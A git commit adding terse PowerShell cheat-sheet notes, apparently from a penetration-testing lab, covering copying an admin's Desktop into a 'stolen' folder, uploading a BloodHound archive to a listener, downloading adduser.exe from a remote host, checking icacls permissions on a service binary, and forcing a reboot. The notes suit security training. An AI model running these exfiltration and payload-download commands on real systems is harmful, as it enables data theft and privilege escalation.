first commit
This commit is contained in:
@@ -0,0 +1,7 @@
|
||||
|
||||
Backup command:
|
||||
|
||||
|
||||
```powershell
|
||||
robocopy /b C:\Users\enterpriseadmin\Desktop\ .\stolen
|
||||
```
|
||||
@@ -0,0 +1,17 @@
|
||||
Download file
|
||||
|
||||
Upload file
|
||||
`
|
||||
`
|
||||
|
||||
`(New-Object System.Net.WebClient).UploadFile('http://192.168.45.206:8000/', '20240917122437_BloodHound.zip')`
|
||||
```powershell
|
||||
iwr -uri http://192.168.45.224:8000/adduser.exe -Outfile adduser.exe
|
||||
```
|
||||
|
||||
```powershell
|
||||
$uri="http://192.168.118.2/upload/"
|
||||
$uploadPath="file.txt"
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$resp = $wc.UploadFile($uri,$uploadPath)
|
||||
```
|
||||
@@ -0,0 +1,15 @@
|
||||
|
||||
|
||||
|
||||
|
||||
icacc| F | Full access |
|
||||
| --- | --- |
|
||||
| M | Modify access |
|
||||
| RX | Read and execute access |
|
||||
| R | Read-only access |
|
||||
| W | Write-only access |
|
||||
| MASK | PERMISSIONS |
|
||||
|
||||
```powershell
|
||||
icacls "C:\xampp\apache\bin\httpd.exe"
|
||||
```
|
||||
@@ -0,0 +1,4 @@
|
||||
|
||||
```powershell
|
||||
shutdown /r /t 0
|
||||
```
|
||||
Reference in New Issue
Block a user